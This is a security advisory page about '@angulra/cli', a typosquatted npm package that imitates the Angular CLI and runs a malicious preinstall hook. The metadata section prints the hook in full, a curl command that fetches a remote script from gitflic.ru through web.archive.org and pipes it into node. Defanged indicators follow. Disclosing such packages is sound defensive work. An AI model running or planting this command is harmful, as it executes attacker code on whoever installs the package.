GCVE-110-OSM-2026-13104

Advisory PublishedCVSS 8.8/10

Vulnetix · Advisory published October 4, 2026

Typosquat package '@angulra/cli' whose preinstall hook (src/package/package.json:62) pipes a remote script from gitflic.ru/hellscripter (proxied via web.archive.org) directly into node, executing arbitrary attacker code on install. The package also impersonates the official Angular CLI metadata (lines 46-60). ## Static analysis (vigil) Verdict `BLOCK`, score 43/100. Critical/high findings: - [critical] MANIFEST-001 Malicious install script — `package/package.json:1` ## Package metadata - Publisher: unknown - Published: unknown - Install hooks: preinstall=curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node - SHA-256 (tarball): `1bb286e497bb682be9e54d02b816b6725d00053fec7a6b00209ae0aba495b3ef` - Registry metadata: unavailable (package likely removed from npm) ## IOCs (defanged) - gitflic[.]ru - hxxps://web[.]archive[.]org/web/https://gitflic[.]ru/project/hellscripter/install-scripts/blob/raw?file=node[.]js - web[.]archive[.]org

Download JSON Open in Console

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

8.8/10

High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	@angulra/cli	22.2.1 (affected)	—

References

Malicious npm package: @angulra/cli

advisory

vendor

Browse GCVE Records

3,105 records in the GCVE database · Updated October 4, 2026

No matching records found.

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

Open in Console Download JSON